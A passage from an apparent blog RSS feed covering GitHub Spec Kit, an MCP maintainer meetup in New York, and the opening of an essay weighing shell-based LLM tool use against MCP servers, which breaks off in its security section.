<p>All in all, however, it&rsquo;s worth keeping in mind that specs are <strong>not a panacea</strong> and certainly <strong>not yet anywhere near offering the ability to one-shot products or project changes</strong>. Human in the loop is as important as it ever was, and what will help you grow moving forward is becoming better and better (and then much better than that) at defining crisp requirements.</p>
<p>LLMs will continue advancing, and so will their ability to process context at scale. But the bottleneck at that point will not be how many files you can reference or whether it correctly pulls constitutional principles for your project but rather how much guesswork is eliminated from encoding the <strong>developer intent</strong> into the <strong>produced output</strong>.</p>
<h2 id="conclusion" class="relative group">Conclusion <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#conclusion" aria-label="Anchor">#</a></span></h2>
<p>We&rsquo;re just a bit over a month since Spec Kit came to life, and we&rsquo;ve plugged quite a few improvements in, but it&rsquo;s certainly not a done deal. Our team is still experimenting with best ways to integrate with existing tools and developer workflows, as well as lean into more advanced capabilities such as multi-variant implementations (I wonder if Git can help here).</p>
<p>To stay up-to-date with all things Spec Kit, I recommend you star and follow <a
  href="https://github.com/github/spec-kit"
  
  target="_blank" rel="noreferrer noopener"
>our repository on GitHub</a>. And if you are so inclined, I also have been <a
  href="https://www.youtube.com/playlist?list=PLA3LBCXrOOm2vjSKTyuYWyt8n6wGE8QIX"
  
  target="_blank" rel="noreferrer noopener"
>recording and publishing video updates</a> - they&rsquo;re the reflection of the latest bits in the repo.</p>
]]></content:encoded></item><item><title>The MCP Maintainers Meet In New York</title><link>https://den.dev/blog/mcp-nyc-meetup/</link><pubDate>Wed, 10 Sep 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/mcp-nyc-meetup/</guid><description>A quick overview of the MCP maintainer meetup in New York and what came out of it.</description><content:encoded><![CDATA[<p>One of the interesting things about the <a
  href="https://modelcontextprotocol.io"
  
  target="_blank" rel="noreferrer noopener"
>Model Context Protocol</a> (or, MCP as you might know it) contributor community is just how tight-knit it is. If you <a
  href="https://modelcontextprotocol.io/community/communication"
  
  target="_blank" rel="noreferrer noopener"
>browse through the contributor Discord</a>, you will quickly see that we have a group for everything - there are folks that are diligently working on security, others are focused entirely on auth, while there is another group dedicated to documentation, and a whole separate crew that&rsquo;s entirely immersed in the world of registries. This is not a comprehensive list by any stretch, but in the past few months we&rsquo;ve seen the community really come together and bring their shared expertise to shape the protocol.</p>
<h2 id="how-the-protocol-contributions-work" class="relative group">How The Protocol Contributions Work <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#how-the-protocol-contributions-work" aria-label="Anchor">#</a></span></h2>
<p>While any process can benefit from improvements over time, the existing contribution and collaboration process works <em>quite well</em>. And you might be surprised to learn - it&rsquo;s pretty much done asynchronously. That&rsquo;s right, the most popular protocol that is used by the entirety of the AI ecosystem is built by a <strong>distributed crew of folks around the globe</strong>, spanning many timezones, and communicating in written form to discuss proposals and changes (we even have a <a
  href="https://modelcontextprotocol.io/community/governance"
  
  target="_blank" rel="noreferrer noopener"
>governance process</a>). Truly living up to the mantra that was <a
  href="https://books.37signals.com/3/the-37signals-employee-handbook/9/how-we-work"
  
  target="_blank" rel="noreferrer noopener"
>outlined by 37signals eons ago</a> when it comes to collaboration:</p>
<blockquote class="quoteback" darkmode="true" data-title="Working Remotely" data-author="37signals" cite="https://books.37signals.com/3/the-37signals-employee-handbook/9/how-we-work">
    
We don’t care where employees choose to live and work, just that they’re here to do great work on exceptional products, alongside a world-class team.

    <footer>37signals<cite> <a href="https://books.37signals.com/3/the-37signals-employee-handbook/9/how-we-work">https://books.37signals.com/3/the-37signals-employee-handbook/9/how-we-work</a></cite></footer>
</blockquote>
<p>The MCP community <em>is</em> doing great work on an exceptional product. And just like the folks at 37signals called out, contributors work synchronously when needed, too!</p>
<blockquote class="quoteback" darkmode="true" data-title="Working Remotely" data-author="37signals" cite="https://books.37signals.com/3/the-37signals-employee-handbook/9/how-we-work">
    
Of course there will be times when you do need to tightly collaborate with someone in real time, but those cases should be infrequent. We have pings, video calls, screen-sharing, or even in-person collaboration for when async isn’t efficient.

    <footer>37signals<cite> <a href="https://books.37signals.com/3/the-37signals-employee-handbook/9/how-we-work">https://books.37signals.com/3/the-37signals-employee-handbook/9/how-we-work</a></cite></footer>
</blockquote>
<p>We have regular calls between members of individual work groups and maintainers - the <a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol/issues?q=state%3Aopen%20label%3A%22notes%22"
  
  target="_blank" rel="noreferrer noopener"
>notes are out there in the open</a>, and <em>most</em> meetings (with the exceptions of maintainer-specific calls) are open to anyone in the contributor community to join.</p>
<p>True proof that <strong>remote work on some of the most impactful projects</strong> is possible. But I digress.</p>
<p>Even with all of us collaborating on MCP remotely, it helps to meet every once in a while to chat about where we&rsquo;re taking the protocol and whiteboard some of the emerging <a
  href="https://modelcontextprotocol.io/community/sep-guidelines"
  
  target="_blank" rel="noreferrer noopener"
>Spec Enhancement Proposals</a> (SEPs). That&rsquo;s exactly what we did just a few weeks back!</p>
<h2 id="two-days-in-new-york" class="relative group">Two Days In New York <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#two-days-in-new-york" aria-label="Anchor">#</a></span></h2>
<p>A few of the most active maintainers of the protocol flew out to New York to meet and talk about all things MCP. We had the event split into two days - first with Core Maintainers, focused on high-level protocol and community improvements, and the second with an &ldquo;unconference&rdquo;-style set of conversations that were open to a broader crew of MCP maintainers and contributors.</p>
<p>Thanks to <a
  href="https://alexhancock.com/"
  
  target="_blank" rel="noreferrer noopener"
>Alex Hancock</a>, we ended up in a nice office right in the middle of SoHo. Shout-out to <a
  href="https://block.xyz/"
  
  target="_blank" rel="noreferrer noopener"
>Block</a> for hosting us there!</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/mcp-steer-co-sign.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="A meeting room sign at the Block office, saying &#34;Welcome MCP Steering Committee.&#34;"
    
    
    
      src="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/mcp-steer-co-sign.webp"
    
  />
  </a>
  <figcaption class="text-center">A meeting room sign at the Block office, saying &ldquo;Welcome MCP Steering Committee.&rdquo;</figcaption>
</figure>
<p>We&rsquo;ve spent a good chunk of our time thinking through what works and what doesn&rsquo;t around governance, scaling contributions, and driving MCP adoption. On the heels of the <a
  href="https://blog.modelcontextprotocol.io/posts/2025-07-31-governance-for-mcp/"
  
  target="_blank" rel="noreferrer noopener"
>changes to the governance structure of MCP</a>, we&rsquo;ve discussed ways in which we can streamline the contributor workflows and get the right features in the pipeline faster. There are <a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol/issues?q=state%3Aopen%20label%3A%22SEP%22"
  
  target="_blank" rel="noreferrer noopener"
>quite a few SEPs</a> for us to go through in the MCP repo!</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/maintainers-write.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Core Maintainers, deep in thought about the MCP retrospective. Photo [courtesy of David Soria Parra](https://xcancel.com/dsp_/status/1960725310862713239#m)."
    
    
    
      src="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/maintainers-write.webp"
    
  />
  </a>
  <figcaption class="text-center">Core Maintainers, deep in thought about the MCP retrospective. Photo <a
  href="https://xcancel.com/dsp_/status/1960725310862713239#m"
  
  target="_blank" rel="noreferrer noopener"
>courtesy of David Soria Parra</a>.</figcaption>
</figure>
<p>We also got some time to review a few of the SEPs in the backlog in-person - the day overlapped with the regularly-scheduled Core Maintainer meeting so we took advantage of us all being in the same room to talk about some of the SEPs that were ready for review. This is when we approved the <a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol/pull/887"
  
  target="_blank" rel="noreferrer noopener"
>URL Mode Elicitations</a>, which will allow MCP servers to request downstream API authorization.</p>
<p>The second day was all about connecting, ideating, and brainstorming solutions to MCP&rsquo;s thorniest emerging problems, like <a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1442"
  
  target="_blank" rel="noreferrer noopener"
>statelessness</a>. A massive shout-out to <a
  href="https://www.linkedin.com/in/kurtisvg"
  
  target="_blank" rel="noreferrer noopener"
>Kurtis Van Gent</a> for helping coordinate those discussions.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/maintainers-discuss.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Discussion between MCP maintainers on the second day of the meetup in New York City."
    
    
    
      src="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/maintainers-discuss.webp"
    
  />
  </a>
  <figcaption class="text-center">Discussion between MCP maintainers on the second day of the meetup in New York City.</figcaption>
</figure>
<p>From the meetup discussions, a few important follow-ups emerged that we will need to tackle:</p>
<ul>
<li><a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1434"
  
  target="_blank" rel="noreferrer noopener"
>Improve Working Group autonomy</a> - how do we ensure that existing working groups can work well by themselves and help us triage and synthesize inbound SEPs? We have quite a few domain experts and we&rsquo;d benefit from a more formal engagement with them. You might also want to check out <a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1350"
  
  target="_blank" rel="noreferrer noopener"
>an excellent SEP</a> from <a
  href="https://github.com/tadasant"
  
  target="_blank" rel="noreferrer noopener"
>Tadas Antanavicius</a> that helps us get on the right track here.</li>
<li><a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1435"
  
  target="_blank" rel="noreferrer noopener"
>Change SEP process to allow for alignment on requirements beforehand</a> - the challenge with the current SEP submission process is that there are folks who put a lot of great work in proposals that ultimately might not be a good fit for the protocol. How do we facilitate early discussions that help us be good community citizens and foster a more collaborative culture at the same time?</li>
<li><a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1436"
  
  target="_blank" rel="noreferrer noopener"
>Improve client implementor representation in MCP Steering Committee</a> - MCP clients are a key component of the ecosystem. If you&rsquo;re using Cursor, VS Code, Claude Code, Gemini CLI, or any other major (or less mainstream) client, you likely want to make sure that MCP <em>just works</em> with those, and at the same time works consistently with other implementations. We look at bringing more client developers to the table to help shape the protocol.</li>
<li><a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1444"
  
  target="_blank" rel="noreferrer noopener"
>Create SDK tiering system</a> - we know that some SDKs get a lot of support from larger organizations and teams, while others are volunteer-run and depend on some amazing developers that dedicate as much time as possible to make the SDKs spec-compliant, but might be a bit behind implementation-wise. How do we set support and velocity expectations with the consumers of those SDKs?</li>
</ul>
<p>And of course, there&rsquo;s more work ahead, but again - it&rsquo;s still all in the open! I would encourage you to check out the <a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol/"
  
  target="_blank" rel="noreferrer noopener"
>MCP repo on GitHub</a> and join in on the fun (it&rsquo;s really fun, I am totally not biased here).</p>
<h2 id="the-location" class="relative group">The Location <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#the-location" aria-label="Anchor">#</a></span></h2>
<p>Gotta say, though - choosing New York City for the meetup was great - everything around us was walking distance. Coffee shops? Plenty, although shout-out to <a
  href="https://www.deploycoffee.com/"
  
  target="_blank" rel="noreferrer noopener"
>Deploy Coffee</a> for some <em>really good</em> coffee. Food? Myriad of <em>great</em> choices without going far. And NYC is just a beautiful city to visit.</p>
<p>Somehow I avoided jumping in a cab and asking &ldquo;<a
  href="https://festivus.dev/"
  
  target="_blank" rel="noreferrer noopener"
>Take me to the Seinfeld apartment,</a>&rdquo; so I&rsquo;d say the trip was a success.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/nyc-canal.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Walking down Canal Street."
    
    
    
      src="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/nyc-canal.webp"
    
  />
  </a>
  <figcaption class="text-center">Walking down Canal Street.</figcaption>
</figure>







<figure>
  <a href="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/nyc-empire-state.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Chrysler Building peeking in an alleyway."
    
    
    
      src="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/nyc-empire-state.webp"
    
  />
  </a>
  <figcaption class="text-center">Chrysler Building peeking in an alleyway.</figcaption>
</figure>







<figure>
  <a href="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/nyc-road-work.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Evening view of One World Trade from the road."
    
    
    
      src="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/nyc-road-work.webp"
    
  />
  </a>
  <figcaption class="text-center">Evening view of One World Trade from the road.</figcaption>
</figure>







<figure>
  <a href="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/nyc.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="One World Trade as seen in the morning."
    
    
    
      src="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/nyc.webp"
    
  />
  </a>
  <figcaption class="text-center">One World Trade as seen in the morning.</figcaption>
</figure>
<p>With two jam-packed days of discussions, debates, and all kinds of protocol improvement ideas, I want to express a sincere thank you to <a
  href="https://uk.linkedin.com/in/david-soria-parra-4a78b3a"
  
  target="_blank" rel="noreferrer noopener"
>David Soria Parra</a>, <a
  href="https://www.linkedin.com/in/nicknotfun"
  
  target="_blank" rel="noreferrer noopener"
>Nick Cooper</a>, <a
  href="https://www.linkedin.com/in/nicholas-aldridge-341162a4"
  
  target="_blank" rel="noreferrer noopener"
>Nick Aldridge</a>, <a
  href="https://github.com/ihrpr"
  
  target="_blank" rel="noreferrer noopener"
>Inna Harper</a>, <a
  href="https://github.com/bhosmer"
  
  target="_blank" rel="noreferrer noopener"
>Basil Hosmer</a>, <a
  href="https://github.com/pcarleton"
  
  target="_blank" rel="noreferrer noopener"
>Paul Carleton</a>, <a
  href="https://github.com/alexhancock"
  
  target="_blank" rel="noreferrer noopener"
>Alex Hancock</a>, <a
  href="https://github.com/pwwpche"
  
  target="_blank" rel="noreferrer noopener"
>Che Liu</a>, and the entire MCP contributor and consumer community - working with all these folks is nothing short of feeling like being part of a dream team.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/mcp-maintainers-dinner.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Dinner with MCP Core Maintainers in New York City."
    
    
    
      src="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/mcp-maintainers-dinner.webp"
    
  />
  </a>
  <figcaption class="text-center">Dinner with MCP Core Maintainers in New York City.</figcaption>
</figure>
<p>Oh, and even the views from EWR did not disappoint on this trip!</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/nyc-airport.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Overlooking the New York skyline from Newark, NJ airport."
    
    
    
      src="https://assets.den.dev/images/postmedia/mcp-nyc-meetup/nyc-airport.webp"
    
  />
  </a>
  <figcaption class="text-center">Overlooking the New York skyline from Newark, NJ airport.</figcaption>
</figure>
]]></content:encoded></item><item><title>Is A Shell All You Need?</title><link>https://den.dev/blog/a-shell-is-all-you-need/</link><pubDate>Thu, 04 Sep 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/a-shell-is-all-you-need/</guid><description>Why shell-first AI workflows combined with guardrailed MCP might just be the pragmatic path forward.</description><content:encoded><![CDATA[<p><strong>No</strong>. There, I spoiled the ending for you. You can now move on with your life knowing that a shell is not enough. But let me also explain why.</p>
<p>This week, I watched GitHub Copilot help me analyze a few gigabytes of log files by using <code>rg</code> to swim in a sea of unstructured data, extract some JSON with <code>jq</code>, pipe all of that through <code>sqlite3</code>, and generate a fairly comprehensive performance report - all using nothing but shell commands. No custom integrations, no MCP servers, no REST API wrappers, no cellphones in sight - just a terminal living in the moment.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/a-shell-is-all-you-need/shell-ad.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Ah yes, the shell - the green text gateway to adventures."
    
    
    
      src="https://assets.den.dev/images/postmedia/a-shell-is-all-you-need/shell-ad.webp"
    
  />
  </a>
  <figcaption class="text-center">Ah yes, the shell - the green text gateway to adventures.</figcaption>
</figure>
<p>It took 15-ish minutes to complete what would have been days of manual work. The question isn&rsquo;t whether this is impressive. The question is: have we been overthinking tool integration this entire time?</p>
<p>I mean, the shell is a relatively simple abstraction that most developers and power users alike are quite familiar with. Think about it - when&rsquo;s the last time you used the <code>wrangler</code> CLI to push one of your updated web sites to the cloud? What about <code>gh</code> to manage GitHub pull requests? And <code>ffmpeg</code> to convert that GIF to MP4? How about running an <code>apt install</code> to get a Ubuntu package you needed to compile the video driver for the hundredth time? Oh, and you just downloaded a ZIP with <code>curl</code> the other day. Command Line Interfaces, or CLIs for short, are quite literally everywhere. Whether you&rsquo;re on Windows, Linux, or macOS - you <em>likely</em> used some command line tools in the past few years.</p>
<p>CLIs are, by all measures, ubiquitous and accessible to anyone with a bit of technical know-how. As a bonus, most widely-adopted products that ship as CLIs are also cross-platform to boot. There&rsquo;s no excuse not to use them, right?</p>
<h2 id="the-great-divide" class="relative group">The Great Divide <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#the-great-divide" aria-label="Anchor">#</a></span></h2>
<p>When it comes to tooling in AI-based workflows, in the past few months I&rsquo;ve noticed two distinct camps emerging:</p>
<ul>
<li><strong>Protocol Builders</strong> - Developers creating sophisticated integration layers like <a
  href="https://modelcontextprotocol.io"
  
  target="_blank" rel="noreferrer noopener"
>Model Context Protocol (MCP)</a>. I consider myself one of them, as I happen to be one of the Core Maintainers within the project. These protocols are multi-layered abstractions that provide controlled, secure interfaces between agent systems and external tools, and introduce a number of protocol-specific primitives that are meant to be universally adopted.</li>
<li><strong>Shell Pragmatists</strong> - Developers who bypass all abstractions and let LLMs simply orchestrate CLI tools. Their philosophy is essentially: why build custom integrations when every tool they need already has a command-line interface?</li>
</ul>
<p>I started out as a firm believer in the first camp, but after my log analysis experiment, I started questioning whether the second camp might be onto something fundamentally different about developer adoption patterns that can improve the LLM integration experience. I was definitely <a
  href="https://mariozechner.at/posts/2025-08-15-mcp-vs-cli/"
  
  target="_blank" rel="noreferrer noopener"
>not the only one</a> <a
  href="https://www.async-let.com/posts/my-take-on-the-mcp-verses-cli-debate/"
  
  target="_blank" rel="noreferrer noopener"
>thinking about this concept</a> <a
  href="https://lucumr.pocoo.org/2025/7/3/tools/"
  
  target="_blank" rel="noreferrer noopener"
>in depth</a>.</p>
<h2 id="why-shell-first-gained-steam" class="relative group">Why Shell-First Gained Steam <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#why-shell-first-gained-steam" aria-label="Anchor">#</a></span></h2>
<p>The more I&rsquo;ve thought about tool adoption, the more I&rsquo;ve converged on one particular insight: <strong>developers adopt tools that don&rsquo;t require learning a new worldview</strong>. Sounds trivial, right? If something <em>integrates</em> with the tools you already work with, it&rsquo;s easier to use that instead of a whopping new product that requires you to understand the inner workings of something you didn&rsquo;t need a month ago. That&rsquo;s the reason we have so many people <em>excited</em> to work on their own OAuth implementation instead of using off-the-shelf libraries.</p>
<p>This is a long way of saying that if you&rsquo;ve worked in <em>any</em> engineering or engineering-adjacent team, you likely learned that developers are creatures of habit. They have preferences for languages, IDEs, color schemes, fonts, and so much more. To add to this, developers&rsquo; habits quite often revolve around the shell in some shape or form, even if that shell is not embedded in the <em>actual</em> OS terminal application. I see developers use their favorite shell from Visual Studio Code, others have it embedded in the browser when connected to cloud services, and so on. A shell is a portal to easily build complex actions from an almost unlimited number of tools and primitives. Just look at any relatively benign shell script and you will see that behind the seemingly simple few lines of code are actually multiple commands that each have their own mission. So, when an AI tool can play nicely with <code>git</code>, <code>cron</code>, and <code>make</code> (just a few commands to illustrate the examples, but they can do a lot as-is) it naturally fits in my and my peers&rsquo; developer workflow.</p>
<p>This is also complemented by the fact that modern LLM clients are <em>really good</em> about invoking CLIs if you provide enough context ahead of time, whether that is through a <code>man</code> page, a link to docs, or just a standard <code>--help</code> argument being available in the CLI in the first place. Not every client will be capable of doing this, but those that are <em>generally</em> are pretty decent at it, at least in my experience.</p>
<p>So, if I posit that CLIs are already part of the developer workflow, and LLMs and their clients are an added &ldquo;workflow sugar&rdquo; on top, could it be that all we <em>really</em> need is a shell with a couple of CLI components that are able to get the job done?</p>
<h2 id="when-simple-doesnt-mean-simplistic" class="relative group">When Simple Doesn&rsquo;t Mean Simplistic <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#when-simple-doesnt-mean-simplistic" aria-label="Anchor">#</a></span></h2>
<p>A valid criticism of the shell philosophy usually comes on the heels of two issues: <strong>scale</strong> and <strong>complexity</strong>. Shell scripts can be fine for personal use, but they might crumble under the weight of real-world enterprise needs. This view misunderstands somewhat the power of the modern shell and the existing ecosystem around it.</p>
<p>The shell at its core is <strong>composable</strong>. As with any other tool, it has its limitations. You can work with a shell on a local computer just fine, but the moment you start dealing with remote scenarios or otherwise constrained environments that don&rsquo;t allow you to execute arbitrary commands, things get off the rails. A shell can also add unpredictable complexity - you have to know that a CLI exists for what you&rsquo;re trying to do if it&rsquo;s outside the bounds of what the model was trained on. You also need to know that a specific CLI <em>is, in fact, useful</em> for what you are trying to accomplish. I&rsquo;ve seen first-hand how models tend to hallucinate commands and parameters that simply do not exist.</p>
<p>Whereas, if you plug in a MCP server into your client, things are expected to <em>just work</em>.</p>
<p>Shells are incredibly powerful, and dare I say - even more powerful than any single MCP server. A shell can be used for <em>anything</em>. Write Python scripts and chain them to SQLite queries? By all means. Combine the outputs with some file system search and JSON parsing? Yes, please. Your entire abstraction is <em>the shell</em>. The boundaries are defined by the commands that you can execute within it. You don&rsquo;t need to worry about the fact that a MCP server might not exist for your scenario (although this point is harder to make now, in September of 2025) - CLI tools are out there for almost anything.</p>
<p>The shell is a <strong>convoluted universal remote</strong> - the commands are there and the LLM needs to figure out how to use them.</p>
<p>It&rsquo;s also worth remembering that while there might be a CLI for everything, you still need to bring that context into the client and the model you&rsquo;re using. If they were not trained on content that covers said CLI, you will need to be creative in designing ways through which the CLI details can be embedded in your LLM-based workflows, like providing crisp usage instructions or guiding the LLM through the command documentation.</p>
<h2 id="where-did-this-land-in-practice" class="relative group">Where Did This Land In Practice <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#where-did-this-land-in-practice" aria-label="Anchor">#</a></span></h2>
<p>To put a bit of a practical spin on my long-winded advocacy effort for CLIs, let&rsquo;s get back to the example I mentioned earlier in this blog post. For an unnamed project I needed to analyze gigabytes of unstructured data. It&rsquo;s a bunch of scattered text files containing log information - some of it is JSON, some of it is in a weird YAML and XML combo (<a
  href="https://www.ibm.com/docs/en/datapower-gateway/10.5.x?topic=20-jsonx"
  
  target="_blank" rel="noreferrer noopener"
>it could be so much worse</a>) - just not something I wanted to deal with manually if I didn&rsquo;t have to.</p>
<p>There are no MCP servers for what I wanted and implementing one would require me wrapping a bunch of existing CLI tools in the MCP interface, which would feel&hellip; redundant? Not necessarily an insurmountable task, but certainly one that would require some throwaway work, given that nobody but me wanted to do what I did.</p>
<p>Also, I kept in mind the fact that when it comes to invoking MCP tools, most clients are fairly restrictive on <em>how many tools you can have accessible at any given time</em> (that is getting better <a
  href="https://code.visualstudio.com/insiders/"
  
  target="_blank" rel="noreferrer noopener"
>in some applications</a>). This is driven by a limited context window in which you have to fit the LLM request, and it need to include tool metadata. If you have too many of them, you risk running out of room for your actual instructions. Not ideal.</p>
<p>Long story longer, instead of stitching together a quilt made out of random MCP servers, I included a number of CLI references in my <a
  href="https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/add-custom-instructions"
  
  target="_blank" rel="noreferrer noopener"
>global project agent file</a> and let Copilot run through the data cleanup and parsing tasks from within Visual Studio Code. The agent put together a script that piped <code>rg</code> output to <code>jq</code> and then used <code>sqlite3</code> to inject the data in a structured database.</p>
<p>Powerful stuff - a boring job that I was dreading got done in minutes. What was also really cool is that when Copilot put together the shell script, it broke down the workflow into proper, production-ready <strong>plan</strong> → <strong>dry‑run</strong> → <strong>confirm</strong> → <strong>execute</strong> stages, which was <em>super helpful</em> to be able to diagnose and analyze outputs before any changes are made. Not that I was working on a production database directly or anything like that, but the &ldquo;thoughtfulness&rdquo; (I am not trying to anthropomorphize the model here - it&rsquo;s a statistical text prediction model on steroids) was neat. This level of observability is something that MCP servers don&rsquo;t quite offer in their default configuration.</p>
<p>The entire saga exceeded my expectations both in terms of speed and just how well it was able to put together the necessary commands. There were some issues where it would accidentally spin up new terminal tabs when it didn&rsquo;t need to, but overall the experience left me impressed - it did what it needed to do without me bringing in a bunch of custom tooling from third-parties. And for the pedantic readers - yes, <a
  href="https://github.com/BurntSushi/ripgrep"
  
  target="_blank" rel="noreferrer noopener"
><code>ripgrep</code></a> is third-party, but I already had it installed, so it doesn&rsquo;t count.</p>
<h2 id="whats-the-deal-with-shell-universality" class="relative group">What&rsquo;s The Deal With Shell Universality <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#whats-the-deal-with-shell-universality" aria-label="Anchor">#</a></span></h2>
<p>While the shell is a universal construct, the challenge with it is still that it needs to be <em>on some box</em> for you to be able to access it. If I run some tasks on my laptop that require reading code from multiple folders, the client needs to be able to invoke shell commands that <em>access said folders</em>. If suddenly I am running that shell from inside a container, the scope of access changes - I no longer have access to the content on my own computer without jumping through some hoops to mount custom volumes.</p>
<p>Similarly, if I want to run <code>ffmpeg</code> with GPU acceleration, it&rsquo;s easy to do when I run it <em>in the context of my own profile</em> but becomes trickier when this needs to be done in some other context, like a sandboxed environment or a container.</p>
<p>And by the way, all of this is also sort-of applicable to <strong>local MCP servers</strong>. Because they&rsquo;re just local binaries, they have the exact same limitations. A local MCP server is an application you install on a computer that has access to the OS the same way any other application would. It just happens to be invoked and managed by a LLM client. If you run a MCP server <em>on the box</em>, it gets access to whatever the executing user has access to. If you run it remotely, the scope of data access changes too.</p>
<p>So, for most scenarios that I&rsquo;ve been investigating recently, developers really need the ability to <em>execute actions in their current context</em> - that is, forget about all that &ldquo;running on the server somewhere&rdquo; baloney. It&rsquo;s all about running with all the tools, bells, and whistles that I have <em>right here, on my computer</em>. You can&rsquo;t <a
  href="https://github.com/ahujasid/blender-mcp"
  
  target="_blank" rel="noreferrer noopener"
>control Blender</a> easily from far away.</p>
<div class="flex flex-row items-center px-4 py-2 mb-8 text-base rounded-md bg-primary-100 dark:bg-primary-900">
    <div style="width: 25%;">
      <img src="https://assets.den.dev/images/shared/thinking.gif" alt="Mole thinking." />
    </div>
    <div style="padding: 8px; max-width: 75%;">
      <p>As a total sidebar, I do not like one bit the idea where folks create MCP servers with unrestricted &ldquo;pipe a command through this MCP tool&rdquo; capabilities. That seems like a bastardization of the CLI approach and not a scalable one at that (let alone secure). Am I the only one thinking this?</p>
    </div>
  </div>  
<p>No, you&rsquo;re definitely not the only one calling this out. I&rsquo;ve seen someone build a remote MCP server where they effectively allow arbitrary command execution through a MCP tool, which is all sorts of bad. That&rsquo;s not quite the CLI integration that I am talking about. What I am envisioning is local execution of commands through LLM-based CLI invocations.</p>
<p>Anyway, for CLIs to work the way we want them to, in a lot of scenarios you will need an unrestricted and singular environment, and that just won&rsquo;t work well in a lot of enterprise scenarios. Which leads me to my next point.</p>
<h2 id="how-you-doin-security" class="relative group">How You Doin&rsquo;, Security <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#how-you-doin-security" aria-label="Anchor">#</a></span></h2>
<p>We haven&rsquo;t even talked about shell usability yet, and security is already rearing its&hellip; head. Giving a LLM direct access to your shell can make any IT monitoring solution spontaneously combust. Excuse me, it did <em>what</em> with your database, and with what user account?</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/a-shell-is-all-you-need/joey.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="This kind of functionality would make even the most security-savvy professionals think twice."
    
    
    
